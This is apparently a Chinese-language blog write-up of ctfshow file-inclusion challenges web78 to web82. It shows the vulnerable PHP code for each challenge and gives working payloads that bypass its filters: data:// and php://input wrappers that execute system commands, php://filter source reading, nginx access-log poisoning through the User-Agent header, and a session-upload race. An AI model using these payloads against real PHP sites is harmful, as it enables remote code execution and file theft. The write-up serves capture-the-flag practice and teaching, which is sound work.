ctfshow--文件包含

CTFSHOW-文件包含篇

web78

1
2
3
4
5
6
7
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
1
2
3
4
include包含直接用伪协议就行
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTsgPz4=

?file=php://filter/convert.base64-encode/resource=flag.php

web79

1
2
3
4
5
6
7
8
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
此题用了str_replace函数:
str_replace(
array|string $search,
array|string $replace,
string|array $subject,
int &$count = null
): string|array
该函数返回字符串或者数组。该字符串或数组是将 subject 中全部的 search 都被 replace 替换之后的结果。

所以php就会被替换为???
但是没有大小写限制,可以用php://input,php://input允许你访问原始的POST数据。
payload:?file=Php://input
post:1=<?php system('ls');?> (先看看flag在哪, 用bp传
再post:1=<?php system('tac f*');?>

?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZioiKTsgPz4=

web80

1
2
3
4
5
6
7
8
9
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
相比web79,多了data的绕过。
还是可以用
payload:?file=Php://input
post:1=<?php system('ls');?> (先看看flag在哪
再post:1=<?php system('tac fl0g.php');?>
的方法。
或使用包含日志的方法
先包含日志查看日志内容?file=/var/log/nginx/access.log

172.12.129.208 - - [13/Jul/2024:04:54:34 +0000] "GET / HTTP/1.1" 200 2291 "https://d905ea2a-bfa7-48d2-88df-62dc0944f812.challenge.ctf.show/" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 Edg/126.0.0.0"

内容有ip,时间,参数和user-agent
我们可以操控user-agent写命令再包含日志执行
<?php system('tac fl0g.php'); ?>

web81

1
2
3
4
5
6
7
8
9
10
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
1
2
比上一题多了:的过滤
解法同web80

web82

1
2
3
4
5
6
7
8
9
10
11
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
1
2
3
多了对.的过滤,过滤了点之后我们只能包含无后缀的文件,而在php中无后缀文件就是session文件。
所以本题要用session竞争包含

参考文章:利用session.upload_progress进行文件包含和反序列化渗透


ctfshow--文件包含
http://example.com/2024/07/11/ctfshow -- 文件包含/
作者
piiick
发布于
2024年7月11日
许可协议